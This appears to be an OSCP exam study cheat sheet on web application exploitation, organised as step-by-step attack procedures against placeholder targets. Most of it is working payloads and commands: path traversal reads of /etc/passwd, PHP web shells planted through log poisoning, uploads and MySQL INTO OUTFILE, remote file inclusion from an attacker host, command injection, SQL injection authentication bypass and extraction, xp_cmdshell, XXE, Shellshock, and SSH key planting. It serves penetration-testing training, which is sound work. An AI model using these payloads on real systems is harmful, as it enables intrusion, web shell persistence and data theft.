OSCP Reference

10.4 Web Exploitation Cheatsheet

Starting with a website?

Capture a working request and map the application before choosing a test.

Start the first checks →
Already have a suspicious input?

Choose a bounded test from the capability suggested by the evidence.

Follow the finding →

← Cheatsheet index · Map the application first · Stage 03 procedures · Mechanics | Strategy map | Study methods: Turn application weaknesses into access

Rule: preserve a valid request, change one thing, compare a control, and name only the primitive proved. Use only on assigned, authorized targets.

10.4.1 Identify exactly which capability the observed result proves Primitive ladder

controlled input -> changed server behavior -> read/write/execute/auth/authz primitive
-> useful artifact/effect -> independently verified access -> re-enumerate
ResultWhat it provesNext question
Recognizable file contentFile readDoes it disclose source, config, users, keys or credentials?
Retrievable uploaded markerFile write/storageWhere is it stored, renamed, served and handled?
Target command outputOS executionWhich identity/environment, and how is a reliable session obtained?
Query true/false differenceQuery influenceWhich DBMS and extraction mechanism?
Another user's data/actionAuthorization failureWhich objects, methods and roles are affected?
JavaScript in target originBrowser executionWhich relevant victim and privileged action exist?

10.4.2 Check whether file handling enables useful read, write or execution File paths and uploads

Traversal/file read:

curl -skG --data-urlencode 'file=../../../../../../etc/passwd' http://TARGET:PORT/PATH
curl -sk --path-as-is 'http://TARGET:PORT/static/../../../../etc/passwd'
curl -skG --data-urlencode 'file=../../../../../../Windows/System32/drivers/etc/hosts' http://TARGET:PORT/PATH

PHP source disclosure:

curl -skG --data-urlencode 'page=php://filter/convert.base64-encode/resource=index.php' http://TARGET:PORT/index.php
printf '%s' 'BASE64_DATA' | base64 -d

LFI/log execution chain:

curl -sk -A '<?php echo shell_exec($_GET["cmd"]); ?>' http://TARGET:PORT/
curl -skG --data-urlencode 'page=/var/log/apache2/access.log' --data-urlencode 'cmd=id' http://TARGET:PORT/index.php

Benign upload first:

printf '%s\n' 'UPLOAD_CANARY_7F31' > probe.txt
curl -sk -b cookies.txt -F 'file=@probe.txt;filename=probe.txt;type=text/plain' http://TARGET:PORT/upload

Verify acceptance, server-side name, retrieval URL, exact bytes and response type. Only then test handler-specific execution. Full variants: web file handling.

10.4.3 Prove whether an input can execute an operating-system command Command injection

Run/context: replay requests from the testing workstation with the application's working host, session and parameter; injected commands execute server-side if the hypothesis is confirmed. Decide: reflection or one slow response is inconclusive. After reproducible execution, select a session and listener; confirmed execution with no callback needs route diagnosis, not another injection assumption.

Visible output:

curl -skG --data-urlencode 'host=127.0.0.1;id' http://TARGET:PORT/PATH
curl -skG --data-urlencode 'host=127.0.0.1&whoami' http://TARGET:PORT/PATH

Blind timing:

curl -sk -o /dev/null -w 'control=%{time_total}\n' -G --data-urlencode 'host=127.0.0.1' http://TARGET:PORT/PATH
curl -sk -o /dev/null -w 'test=%{time_total}\n' -G --data-urlencode 'host=127.0.0.1;sleep 5' http://TARGET:PORT/PATH

Repeat controls; reflection is not execution and one slow request is not proof. After execution, verify id/whoami, hostname and working directory, then use Block 7. Full procedure: command and SQL injection.

10.4.4 Validate SQL query influence and select an extraction method Manual SQL injection

Detect with controlled pairs:

VALUE'                         # parser/error clue
VALUE' AND '1'='1             # true
VALUE' AND '1'='2             # false

UNION shape and displayed column:

' ORDER BY 1-- -
' ORDER BY 2-- -
' UNION SELECT NULL,NULL,NULL-- -
' UNION SELECT NULL,'MARKER_7F31',NULL-- -

Fingerprint only after injection proof:

MySQL/PostgreSQL: ' UNION SELECT NULL,version(),NULL-- -
MSSQL:            ' UNION SELECT NULL,@@version,NULL-- -

Boolean/time examples:

' AND SUBSTRING((SELECT version()),1,1)='P'-- -
MySQL:      ' AND IF(1=1,SLEEP(5),0)-- -
PostgreSQL: '; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
MSSQL:      '; IF (1=1) WAITFOR DELAY '0:0:5'--

Out-of-band proof candidate after in-band/blind methods fail:

SELECT LOAD_FILE(CONCAT('\\\\LHOST\\', DATABASE()));

Use only a controlled uniquely labelled listener/domain and no sensitive data. A callback proves a server-side request, not full extraction. Database-to-OS execution/OOB requires separate DBMS, privilege, path/feature and egress conditions. SQLmap is prohibited by the current OSCP+ exam guide.

10.4.5 Check whether application permissions or browser execution enable useful access Access control and XSS

IDOR comparison:

GET /api/objects/OBJECT_B HTTP/1.1
Host: DOMAIN
Authorization: Bearer USER_A_TOKEN

Keep A's session and change only A's object reference to B's. Compare owned, unowned and nonexistent objects; verify read/write/delete effects separately.

Mass assignment candidate:

curl -ski -X POST -H 'Content-Type: application/json' -d '{"username":"TEST_USER","password":"TEST_PASSWORD","role":"administrator"}' http://TARGET:PORT/api/v1/register

Verify through a separate login and administrator-only action.

XSS context proof:

<img src=x onerror=alert(document.domain)>

Confirm reflection/storage/DOM sink, target origin and relevant viewer. Browser execution is not a server shell; its value comes from a victim's same-origin actions. Full procedure: access control and XSS.

10.4.6 Find useful access through the confirmed WordPress deployment WordPress

curl -sk https://HOSTNAME/wp-json/ | head
curl -sk https://HOSTNAME/wp-login.php -o wp-login.html
wpscan --url https://HOSTNAME/ --disable-tls-checks --enumerate vp,vt,u --plugins-detection mixed -o wpscan.txt

Verify active core/plugin/theme version and vulnerable configuration manually. After login, map the actual role/capabilities; upload, editor, plugin-install and user-management rights are distinct.

10.4.7 Check whether the server can reach a useful internal resource SSRF

10.4.7.1 Kali listener

# Kali listener
python3 -m http.server LPORT --bind 0.0.0.0

10.4.7.2 hypothetical replay

# hypothetical replay
curl -sk 'https://HOSTNAME/fetch?url=http://LHOST:LPORT/ssrf-marker'

After a controlled callback proves server-side fetching:

curl -sk 'https://HOSTNAME/fetch?url=http://127.0.0.1:PORT/'
curl -sk -X POST https://HOSTNAME/fetch --data-urlencode 'url=http://127.0.0.1:PORT/'

Compare known-open/known-closed destinations. Browser fetch/reflection/redirect is not SSRF; internal content read is not execution.

10.4.7.3 Check parser-specific paths when the request or source supplies a matching clue Conditional parser and template primitives

Open these only when the mapped request or source supplies the stated parser/framework condition. They are manual, bounded proofs—not automated exploitation.

10.4.7.4 SSTI — prove evaluation before choosing an engine-specific primitive
curl -sS -G --data-urlencode 'name={{7*7}}' http://TARGET:PORT/PATH
curl -sS -G --data-urlencode 'name=${7*7}' http://TARGET:PORT/PATH
curl -sS -G --data-urlencode "name={{7*'7'}}" http://TARGET:PORT/PATH

Repeatable computed output supports template evaluation; 49 alone does not identify the engine. Confirm engine/version and exposed objects before file or command primitives. Full interpretation.

10.4.7.5 XXE — preserve a working XML request and prove parser-side file read
<?xml version="1.0"?>
<!DOCTYPE request [<!ENTITY probe SYSTEM "file:///etc/passwd">]>
<request><value>&probe;</value></request>
curl -i -b cookies.txt -H 'Content-Type: application/xml' \
  --data-binary @xxe.xml http://TARGET:PORT/PATH

Recognizable file content in the parsed field proves read access; reflected XML does not. DTD rejection or unresolved entities rules out only that parser/configuration path. XInclude and blind boundaries.

10.4.7.6 NoSQL operator injection — compare object-valued input with string controls
curl -i -c cookies.txt -H 'Content-Type: application/json' \
  --data '{"username":"USER","password":{"$ne":""}}' http://TARGET:PORT/LOGIN

curl -i -c cookies.txt --data-urlencode 'username=USER' \
  --data-urlencode 'password[$ne]=x' http://TARGET:PORT/LOGIN

Confirm the resulting identity through a protected route. A 200, cookie or changed error is not authentication by itself. Use only where the framework parses nested objects/operators. Full controls.

10.4.7.7 PHP deserialization — match the gadget chain to installed dependencies
phpggc -l
phpggc -i Monolog/RCE1
phpggc -b Monolog/RCE1 system id > payload.b64

Use only after source/request evidence proves unsafe unserialize() and the required classes/version are loaded. Base64 is transport, not a bypass; generated bytes are not execution proof. Full prerequisites.

10.4.7.8 Unsafe YAML construction — require an unsafe Python loader
!!python/object/apply:os.system ["id"]

This applies only when controlled YAML reaches an unsafe PyYAML loader. JSON, yaml.safe_load() and a mere .yml filename do not supply the prerequisite. Full failure cues.

10.4.7.9 Shellshock — only a confirmed CGI-to-vulnerable-Bash chain
curl -i -H 'User-Agent: () { :;}; echo; /usr/bin/id' \
  http://TARGET:PORT/cgi-bin/SCRIPT

An attributable UID in the CGI response supports execution; reflected header text does not. This is not a generic payload for PHP/Java routes. Full component checks.

10.4.8 Choose the next check from the failure you observed Fast failure routing

SymptomDecision
200 with normal templateNo primitive yet; inspect stable content, normalization and exact parameter
Upload returns success but no fileFind final name/path or record as inconclusive
Uploaded code downloads/displaysWrite/retrieval only; no executable handler
Quote causes generic 500Compare true/false; distinguish DB/app/WAF error
UNION errorsRecheck context, column count, types and comments
Timing is noisyRepeat control/test and lengthen only within safe lab bounds
Object change gives same user's dataAuthorization held in that context
XSS runs only for testerSelf/reflected path lacks a useful viewer/delivery chain

10.4.9 Continue with the capability your result enables Handoffs

credential/key/token -> Block 5
product/version/CVE -> Block 6
verified command execution -> Block 7
useful application role -> authenticated Block 3 remap
server-side internal reachability -> enumerate only proved destination/route
new host/address/listener/route -> Block 1

10.4.10 Discover and recognize candidates

Use these discovery checks to find a candidate, then validate the missing conditions. Cues are illustrative; complete synthetic outputs and three-outcome examples are in the linked study entries.

10.4.10.1 Turn application weaknesses into access

10.4.10.1.1 Find: Read files through directory traversal

Find real download/preview/export requests in the behavior map; inspect which filename/path values the normal request accepts.

curl -sk -b cookies.txt -D - 'http://TARGET:PORT/download?file=report.pdf'

Recognize: An application-controlled file selection is the cue to test path confinement; it is not yet arbitrary read.

Validate next: Request a known target-platform file through the real file parameter/path and compare with the normal response. Require recognizable file contents; a reflected filename, error or status change is not a read.

Read files through directory traversal.

10.4.10.1.2 Commands and use-case variants

Need: A reproducible application request and a controlled input or access-context comparison. Untrusted path reaches a filesystem read outside its intended directory; process identity can read the requested file

Linux proof:

curl -skG --data-urlencode 'file=../../../../../../etc/passwd' http://TARGET:PORT/PATH

Windows proof:

curl -skG --data-urlencode 'file=../../../../../../Windows/System32/drivers/etc/hosts' http://TARGET:PORT/PATH

Decisive output: recognizable contents of the requested target file. 200 OK, a changed template or a filename reflected in an error is not proof.

10.4.10.1.3 Variant — traversal occurs in the URL path
curl -sk --path-as-is 'http://TARGET:PORT/static/../../../../etc/passwd'

--path-as-is prevents curl from collapsing .. before sending the request.

10.4.10.1.4 Variant — basic normalization/filter tests
..%2f..%2f..%2fetc%2fpasswd
%2e%2e/%2e%2e/%2e%2e/etc/passwd
....//....//....//etc/passwd

Try these only after a plain baseline. Preserve the exact decoding layer that accepted the value.

Next: use discovered user homes, application paths and configuration names to retrieve relevant source, keys or credentials. Send recovered authentication material to Block 5 with its source and identity context.

Verify: Require recognizable target-file content and controls that exclude a reflected input or static error page.

If it fails: An empty/denied response can be path depth, normalization or file permissions. If only file read is proven, follow credentials instead of assuming code execution.

10.4.10.1.5 Find: Disclose PHP source through an inclusion wrapper

Inspect the normal page selector, PHP technology evidence and any readable source/configuration clue obtained during mapping.

curl -sk -D - 'http://TARGET:PORT/index.php?page=about'

Recognize: An include-related error suggests an evaluating PHP sink, unlike an ordinary file-download function.

Validate next: Verify that the actual sink accepts a filter wrapper and returns decodable target source; errors alone do not prove it.

Disclose PHP source through an inclusion wrapper.

10.4.10.1.6 Find: Turn controlled local file content into inclusion execution

After a file/include primitive is demonstrated, use readable configuration to locate the actual log and check whether your harmless request marker is present.

curl -sk -A 'LOG_CANARY' http://TARGET:PORT/
curl -skG --data-urlencode 'page=/PATH/TO/access.log' http://TARGET:PORT/index.php

Recognize: The include/read identity can reach a log containing your controlled input; evaluation and payload preservation still need proof.

Validate next: Separate raw file read from interpreter evaluation, confirm exact file path and encoding, then a minimal command effect.

Turn controlled local file content into inclusion execution.

10.4.10.1.7 Commands and use-case variants

Need: A reproducible application request and a controlled input or access-context comparison. Controlled content survives logging; inclusion identity can read it; interpreter evaluates it; requested command facility is available

curl -sk -A '<?php echo shell_exec($_GET["cmd"]); ?>' http://TARGET:PORT/
curl -skG --data-urlencode 'page=/var/log/apache2/access.log' --data-urlencode 'cmd=id' http://TARGET:PORT/index.php

Prerequisites: the controlled header is logged, the web identity can read the exact log, the inclusion sink evaluates PHP and the payload survives encoding. On Windows/XAMPP, investigate application-specific paths such as C:\xampp\apache\logs\access.log.

Decisive output: the unique command output and target execution identity. If code appears as text, only read/inclusion is proven.

10.4.10.1.8 Variant — PHP data wrapper
PAYLOAD=$(printf '%s' '<?php echo shell_exec($_GET["cmd"]); ?>' | base64 -w0)
curl -skG --data-urlencode "page=data://text/plain;base64,$PAYLOAD" --data-urlencode 'cmd=id' http://TARGET:PORT/index.php

Requires URL inclusion in the sink and PHP allow_url_include=On; it is disabled by default in current PHP configurations.

10.4.10.1.9 Variant — remote file inclusion
python3 -m http.server TRANSFER_PORT --bind LHOST
curl -skG --data-urlencode 'page=http://LHOST:TRANSFER_PORT/check.php' --data-urlencode 'cmd=id' http://TARGET:PORT/index.php

Requires remote URL inclusion, a compatible interpreter and target-to-LHOST:TRANSFER_PORT reachability. An absent HTTP request is inconclusive until reachability and filtering are separated.

Verify: Require command-specific output distinct from the logged payload and record hostname/identity.

If it fails: Missing log access, escaping or plain-text reading breaks this chain. Data/RFI variants are viable only when their explicitly listed wrapper/configuration and return-route conditions hold.

10.4.10.1.10 Find: Establish upload acceptance, storage and retrieval

Browse normal attachment/import/profile functions and capture one accepted harmless multipart upload with its returned identifier.

printf '%s\n' 'UPLOAD_CANARY' > probe.txt
curl -sk -b cookies.txt -F 'file=@probe.txt;type=text/plain' http://TARGET:PORT/upload

Recognize: The real upload route, field and response identify a storage/retrieval candidate.

Validate next: Retrieve the canary independently; establish stored bytes, final name and account/context before testing execution.

Establish upload acceptance, storage and retrieval.

10.4.10.1.11 Find: Execute an uploaded file through a compatible handler

Begin with a verified retrievable upload; inspect final naming, response handling and evidence of the application's actual interpreter.

curl -sk -i http://TARGET:PORT/uploads/FILE

Recognize: A retrievable script may be inert. The interesting detail is how the final location is handled, not acceptance of a script extension.

Validate next: Retrieve the exact stored upload and request it through the candidate server-side handler. Verify an attributable identity marker from that request; uploaded bytes or a 200 response alone do not prove execution.

Execute an uploaded file through a compatible handler.

10.4.10.1.12 Commands and use-case variants

Need: A reproducible application request and a controlled input or access-context comparison. Controlled executable content survives validation; final storage/URL is handled by the compatible interpreter; process execution is permitted

PHP example, only after PHP handler evidence:

printf '%s\n' '<?php if(isset($_GET["cmd"])){echo shell_exec($_GET["cmd"]);} ?>' > check.php
curl -sk -b cookies.txt -F 'file=@check.php;filename=check.php;type=application/x-php' http://TARGET:PORT/upload
curl -skG --data-urlencode 'cmd=id' http://TARGET:PORT/uploads/check.php

Decisive output: target command output. A successful upload that downloads, displays source or returns inert text proves write/retrieval only.

10.4.10.1.13 Variants — isolate validation layers in Burp Repeater

Test one property at a time:

  • bypass client-side checks by replaying the raw multipart request;
  • filename case or alternate extension only when the observed server maps it to the interpreter;
  • multipart Content-Type independently from filename and content;
  • magic bytes only when server behavior shows content inspection;
  • double extensions/trailing characters only when normalization evidence supports them;
  • server rename and final response Content-Type.
curl -sk -b cookies.txt -F 'file=@check.php;filename=check.pHP;type=image/jpeg' http://TARGET:PORT/upload

Changing MIME type is a test of validation, not proof of executable handling.

Verify: Require target command output and identity; acceptance, source download and a 200 status are weaker results.

If it fails: Check extension mapping, server rename, handler location and content transformation. Do not treat every upload-filter bypass as a shell.

10.4.10.1.14 Find: Use upload path control to reach a useful consumer

Inspect an accepted upload's raw multipart filename/path fields and compare the returned destination for one harmless unique filename.

curl -sk -b cookies.txt -F 'file=@probe.txt;filename=../UNIQUE_CANARY.txt;type=text/plain' http://TARGET:PORT/upload

Recognize: An independently located out-of-directory canary is path-control evidence; it does not establish access to another user's key directory.

Validate next: Confirm filesystem identity, exact destination semantics, write permissions and a useful consumer/trigger.

Use upload path control to reach a useful consumer.

10.4.10.1.15 Commands and use-case variants

Need: A reproducible application request and a controlled input or access-context comparison. Destination path control survives normalization; write identity can reach the destination; a known consumer accepts the resulting file

First use a harmless unique filename outside the normal upload directory and verify it through a separate read/listing primitive. Do not overwrite an existing file as a detection test.

10.4.10.1.16 Lab-only variant — controlled SSH public-key placement
ssh-keygen -t ed25519 -f ./web_upload_key -N ''
cp ./web_upload_key.pub ./authorized_keys
curl -sk -b cookies.txt -F 'file=@authorized_keys;filename=../../../../home/USER/.ssh/authorized_keys' http://TARGET:PORT/upload
ssh -i ./web_upload_key -p SSH_PORT USER@TARGET

Use only in a disposable authorized lab after confirming the exact user/home, SSH service, web write identity, destination semantics and overwrite impact. Failure can mean path normalization, permission denial, SSH policy or a different user—not necessarily that upload path control is absent.

Verify: Independently prove destination and bytes before claiming a privileged consumer or accepted key.

If it fails: Normalization, permissions and consumer policy are separate failure points; preserve the proven write without overstating its effect.

10.4.10.1.17 Find: Prove visible or blind operating-system command injection

Find a mapped feature that runs a system-like operation, inspect its request, and compare a normal value with one bounded command-dependent probe.

curl -skG --data-urlencode 'PARAM=NORMAL_VALUE' http://TARGET:PORT/PATH

Recognize: The function and output suggest an OS utility consumer; the parameter's parsing boundary is the candidate.

Validate next: Replay the real request with a benign id/whoami marker and a normal control. Require attributable command output, or repeat bounded timing/control tests for a blind sink. Reflected text or one slow response is not execution.

Prove visible or blind operating-system command injection.

10.4.10.1.18 Commands and use-case variants

Need: A reproducible application request and a controlled input or access-context comparison. Input reaches command execution with an exploitable parsing boundary; process identity/runtime can perform the selected proof

10.4.10.1.18.1 Prove command execution through independently recognizable output Visible-output baseline

Start with a benign identity marker appropriate to the inferred operating system:

curl -skG --data-urlencode 'host=127.0.0.1;id' http://TARGET:PORT/PATH
curl -skG --data-urlencode 'host=127.0.0.1&whoami' http://TARGET:PORT/PATH

Decisive output: command output attributable to the target, such as a username/UID that is absent from the normal response. Reflection of the payload is not execution.

10.4.10.1.18.1.1 Variants — separators, quoting and POST bodies

Test only the forms compatible with the observed command and platform:

127.0.0.1; id
127.0.0.1 && id
127.0.0.1 | id
127.0.0.1%0aid
curl -sk -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data-urlencode 'host=127.0.0.1;id' http://TARGET:PORT/PATH
curl -sk -X POST -H 'Content-Type: application/json' -d '{"host":"127.0.0.1;id"}' http://TARGET:PORT/api/PATH

For Windows command contexts, use an observed cmd.exe or PowerShell boundary before choosing syntax:

127.0.0.1 & whoami
127.0.0.1 | whoami
10.4.10.1.18.2 Check command execution through repeated control and timing comparisons Blind timing proof

Repeat a control and a bounded-delay request several times:

curl -sk -o /dev/null -w 'control=%{time_total}\n' -G --data-urlencode 'host=127.0.0.1' http://TARGET:PORT/PATH
curl -sk -o /dev/null -w 'test=%{time_total}\n' -G --data-urlencode 'host=127.0.0.1;sleep 5' http://TARGET:PORT/PATH

Windows candidate after platform evidence:

127.0.0.1 & timeout /t 5

Decisive output: a repeatable delay near the chosen interval relative to multiple controls. One slow response is inconclusive.

10.4.10.1.18.3 After command execution
Linux:   id; hostname; pwd
Windows: whoami; hostname; cd

Record the execution identity, working directory, shell/parser and egress assumptions. Hand reliable-session work to Block 7; do not treat one command response as an interactive shell.

Verify: Use reproducible command-specific output or controlled timing comparisons; a server error alone does not prove execution.

If it fails: A callback failure does not disprove already-confirmed execution. Diagnose quoting/interpreter/route at the relevant layer.

10.4.10.1.19 Find: Establish SQL query influence and DBMS context

Map a data lookup/login/search request, preserve its session and compare one changed input with normal/invalid controls.

curl -skG --data-urlencode 'PARAM=NORMAL_VALUE' http://TARGET:PORT/PATH
curl -skG --data-urlencode "PARAM=NORMAL_VALUE'" http://TARGET:PORT/PATH

Recognize: A database-looking error ties the input to a possible query parser; it is a hypothesis until controlled predicates affect query behavior.

Validate next: Identify quote/query context and repeat true/false comparisons; establish the DBMS before DB-specific payloads.

Establish SQL query influence and DBMS context.

10.4.10.1.20 Commands and use-case variants

Need: A reproducible application request and a controlled input or access-context comparison. Input reaches a SQL query; a valid request and stable response baseline exist

Exam boundary: the current OSCP+ exam guide prohibits SQLmap and other automatic exploitation tools. The following procedure is manual. Recheck the current guide before an exam.

10.4.10.1.20.1 Establish query influence

Replay a valid request in Burp Repeater. Change one parameter and compare a normal value, quote, true condition and false condition:

VALUE
VALUE'
VALUE' AND '1'='1
VALUE' AND '1'='2

For a numeric context:

1
1 AND 1=1
1 AND 1=2

Evidence: a database error, stable true/false response difference, or repeatable database-specific delay. An isolated 500, WAF block or generic application error is not enough.

10.4.10.1.20.2 Test whether query influence changes authentication decisions Authentication-bypass candidate

In an authorized disposable lab, preserve the application's quoting and comment syntax:

' OR 1=1-- -
administrator'-- -

Verification: identify the resulting account/session and perform a separate authorized request. A redirect or welcome string alone can be misleading.

10.4.10.1.20.3 Find the column count and types needed for a UNION result Determine UNION shape

First establish column count:

' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -

Or increment NULL columns until the query succeeds:

' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -

Then find a displayed text-compatible column:

' UNION SELECT NULL,'MARKER_7F31',NULL-- -

Decisive output: the marker appears in a response location controlled by the injected row. Match the exact column count and data types.

10.4.10.1.20.4 Extract only after fingerprinting the DBMS
MySQL:      ' UNION SELECT NULL,version(),NULL-- -
PostgreSQL: ' UNION SELECT NULL,version(),NULL-- -
MSSQL:      ' UNION SELECT NULL,@@version,NULL-- -

Use the confirmed DBMS's catalog and concatenation syntax rather than cycling unrelated payloads. Keep each extraction request reproducible in Repeater.

10.4.10.1.20.5 Infer selected database values through stable response differences Boolean- or time-blind extraction

Choose a stable page marker or content length for true/false comparisons:

' AND SUBSTRING((SELECT version()),1,1)='P'-- -
' AND SUBSTRING((SELECT version()),1,1)='X'-- -

DBMS-specific time proofs:

MySQL:      ' AND IF(1=1,SLEEP(5),0)-- -
PostgreSQL: '; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
MSSQL:      '; IF (1=1) WAITFOR DELAY '0:0:5'--

Repeat controls. Time-based results are invalid if application latency overlaps the chosen delay or the condition cannot be changed independently.

Verify: Require repeatable, query-dependent behavior and preserve request/session controls; identify DBMS evidence before DB-specific payloads.

If it fails: Generic errors, WAF responses, caching and broken sessions can imitate SQLi. Rebuild the valid request and test a discriminating control.

10.4.10.1.21 Find: Test a SQL-backed authentication bypass

Use the actual login request already shown to influence SQL, including its real username/password fields and invalid-login control.

curl -sk -i --data-urlencode 'username=USER' --data-urlencode 'password=INVALID_CONTROL' http://TARGET:PORT/login

Recognize: The authentication decision may depend on the injectable query result, creating a bypass candidate.

Validate next: Verify query shape and post-query checks, then independently confirm the resulting session identity/protected action.

Test a SQL-backed authentication bypass.

10.4.10.1.22 Find: Extract data through UNION and visible SQL results

After controlled SELECT influence, inspect which database result fields are rendered and test the documented column-shape controls.

curl -skG --data-urlencode "PARAM=VALUE' ORDER BY 1-- -" http://TARGET:PORT/PATH

Recognize: A predictable shape boundary in a rendered SELECT suggests a UNION channel, subject to column types and reflection.

Validate next: Confirm column count/types and a query-generated visible marker before extracting selected metadata.

Extract data through UNION and visible SQL results.

10.4.10.1.23 Find: Infer SQL data through boolean or time-based differences

Start from proven query influence and compare stable true/false controls or repeated baseline timings when no rows are rendered.

curl -sk -o /dev/null -w '%{time_total}\n' --get --data-urlencode 'PARAM=BASELINE_VALUE' http://TARGET:PORT/PATH

Recognize: A repeatable predicate-dependent difference provides an inference channel even without visible rows.

Validate next: Validate controls using a known predicate and separate caching, network load and backend delay.

Infer SQL data through boolean or time-based differences.

10.4.10.1.24 Find: Convert database rights into a file or operating-system effect

From the authenticated/injected database context inspect the real role, grants, enabled facilities and server identity before selecting any file/command transition.

SELECT SYSTEM_USER, ORIGINAL_LOGIN();
SELECT IS_SRVROLEMEMBER('sysadmin');

Recognize: Database administration is a useful enabling clue, but it is not an observed OS shell or a domain privilege level.

Validate next: Match the DBMS-specific facility, configuration, OS permission and consumer; verify a minimal actual OS effect.

Convert database rights into a file or operating-system effect.

10.4.10.1.25 Commands and use-case variants

Need: A reproducible application request and a controlled input or access-context comparison. DBMS-specific privilege and enabled facility; OS service identity, writable/readable destination and a compatible consumer

This is a new transition, not an automatic consequence of SQL injection. Verify the DBMS identity, database role, feature state, filesystem permissions and path or egress assumptions first.

10.4.10.1.26 MSSQL — xp_cmdshell when privilege and policy allow
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'whoami';

Requires sufficient server privilege; enabling it changes server configuration. Prefer a direct proof when it is already enabled. Verify the Windows service identity returned by whoami.

10.4.10.1.27 PostgreSQL — COPY PROGRAM when role and version allow
DROP TABLE IF EXISTS cmd_output;
CREATE TABLE cmd_output(line text);
COPY cmd_output FROM PROGRAM 'id';
SELECT * FROM cmd_output;

Requires a superuser or a role such as pg_execute_server_program; the command runs under the database service account.

10.4.10.1.28 MySQL/MariaDB — file write as a separate primitive
SELECT '<?php echo shell_exec($_GET["cmd"]); ?>'
INTO OUTFILE '/CONFIRMED/WEBROOT/check.php';

Requires FILE privilege, a permitted secure_file_priv destination, a known writable webroot and PHP execution there. Verify the file through HTTP, then verify execution. If it only displays or downloads, only file write is proven.

Verify: Verify the resulting host and operating-system identity, or independently verify written/read bytes.

If it fails: Denied DB facility, secure file directory or OS permissions breaks the proposed transition. Retain useful data access and choose another enabled route.

10.4.10.1.29 Find: Cross an object-ownership boundary

Capture object requests for two authorized study accounts and associate each object ID with its owner before making a cross-account comparison.

curl -sk -b lower-role.cookies http://TARGET:PORT/api/objects/OBJECT_ID

Recognize: A private object owned by another controlled account is returned to the lower-context requester.

Validate next: Confirm intended sharing rules, account isolation and actual object content/change with valid controls.

Cross an object-ownership boundary.

10.4.10.1.30 Commands and use-case variants

Need: A reproducible application request and a controlled input or access-context comparison. The server accepts a lower-privilege identity's request for an object it should not access

Use two controlled lab identities and one object owned by each:

GET /api/orders/OBJECT_B HTTP/1.1
Host: DOMAIN
Authorization: Bearer USER_A_TOKEN
  1. Save user A's successful request for object A.
  2. Change only the path/query/body object reference to object B.
  3. Keep A's token.
  4. Verify disclosure or the intended update/delete effect against B's object.

Decisive output: data or a state change belonging to B under A's context. A different error or 200 wrapper is not enough.

Verify: Verify object ownership, requesting identity and the actual unauthorized effect.

If it fails: A 200 response may be a generic page or public object. Validate ownership and intended access before drawing a conclusion.

10.4.10.1.31 Find: Cross role, function or session authorization boundaries

Compare ordinary-user and authorized-administrator requests for a real protected function, preserving method, CSRF/session and arguments.

curl -sk -i -b lower-role.cookies http://TARGET:PORT/ADMIN_PATH

Recognize: A visible administrative route is a lead; only a server-side protected effect establishes the missing role check.

Validate next: Replay a valid authorized action under the lower context and independently inspect its permitted effect.

Cross role, function or session authorization boundaries.

10.4.10.1.32 Commands and use-case variants

Need: A reproducible application request and a controlled input or access-context comparison. The lower-role identity can invoke a protected server-side action without its required authorization

Replay the same operation as:

anonymous -> ordinary user -> alternate ordinary user -> administrator

Compare UI and API paths, then test the legitimate method variants suggested by captured traffic or documentation.

curl -ski -b user-a.cookies http://TARGET:PORT/admin/PATH
curl -ski -X POST -b user-a.cookies -H 'Content-Type: application/json' -d '{"action":"EXPECTED_ACTION"}' http://TARGET:PORT/api/admin/PATH

Failure cue: a route name containing admin does not establish a bypass. Verify a privileged read or action under the lower-privileged identity.

Verify: Prove the protected effect and requesting identity; a rendered administrative page without action rights is a weaker finding.

If it fails: Expired cookies, CSRF checks and wrong methods are request-state failures; preserve the valid baseline before assessing authorization.

10.4.10.1.33 Find: Modify a protected property through excessive writable fields

Read a legitimate API profile and inspect its schema/update request for security-sensitive properties not exposed by the user interface.

curl -sk -b cookies.txt http://TARGET:PORT/api/PROFILE_PATH

Recognize: Returned owner/role fields identify properties to investigate; they are not evidence that the server binds them on update.

Validate next: Check accepted writable fields, independent persistence and a resulting permission change.

Modify a protected property through excessive writable fields.

10.4.10.1.34 Commands and use-case variants

Need: A reproducible application request and a controlled input or access-context comparison. The server binds an untrusted property to a persistent security-relevant field without checking permission

Start with a valid captured registration/update request and add one server-owned property:

curl -ski -X POST -H 'Content-Type: application/json' -d '{"username":"TEST_USER","password":"TEST_PASSWORD","role":"administrator"}' http://TARGET:PORT/api/v1/register

Decisive output: authenticate as the new/updated identity and perform an administrator-only action. An echoed or stored role field may be ignored by authorization logic.

10.4.10.1.35 Variant — method mismatch reveals a valid route
curl -ski http://TARGET:PORT/api/v1/users/USER/password
curl -ski -X OPTIONS http://TARGET:PORT/api/v1/users/USER/password
curl -ski -X PUT -H 'Authorization: Bearer TOKEN' -H 'Content-Type: application/json' -d '{"password":"NEW_PASSWORD"}' http://TARGET:PORT/api/v1/users/USER/password

Use PUT/PATCH only when a 405, Allow header, documentation or JavaScript behavior supports it. Verify the new credential through a separate login.

Verify: Independently reread the object and demonstrate the resulting permitted action under the same account.

If it fails: Ignored/filtered fields disprove that specific assignment route; investigate another property or function boundary.

10.4.10.1.36 Find: Execute browser code and validate a useful same-origin action

Locate a normal reflected/stored input and inspect its final HTML/DOM context in the browser rather than treating raw reflection as execution.

curl -skG --data-urlencode 'PARAM=UNIQUE_MARKER' http://TARGET:PORT/PATH

Recognize: The output context and escaping determine whether browser execution is plausible; the second form is escaped text.

Validate next: Verify the actual browser sink/execution, victim origin/role, required interaction and useful authorized same-origin action.

Execute browser code and validate a useful same-origin action.

10.4.10.1.37 Commands and use-case variants

Need: A reproducible application request and a controlled input or access-context comparison. Payload reaches a browser execution sink; any useful privileged action additionally needs a victim context, same-origin access and a valid request state

First inject a unique text marker and inspect where it appears in raw HTML and the DOM. Then use a controlled proof appropriate to the context:

<img src=x onerror=alert(document.domain)>

Classify the path:

  • reflected: victim must visit a crafted request;
  • stored: payload persists and a relevant user later renders it;
  • DOM-based: client-side code moves controlled data into an executable DOM sink.

Decisive output: JavaScript executes under the expected application origin and viewer context. Reflection or HTML display alone is not XSS.

Match the proof to the observed parser context rather than trying a random payload list:

Observed insertion contextMinimal lab proof candidateWhat failure means
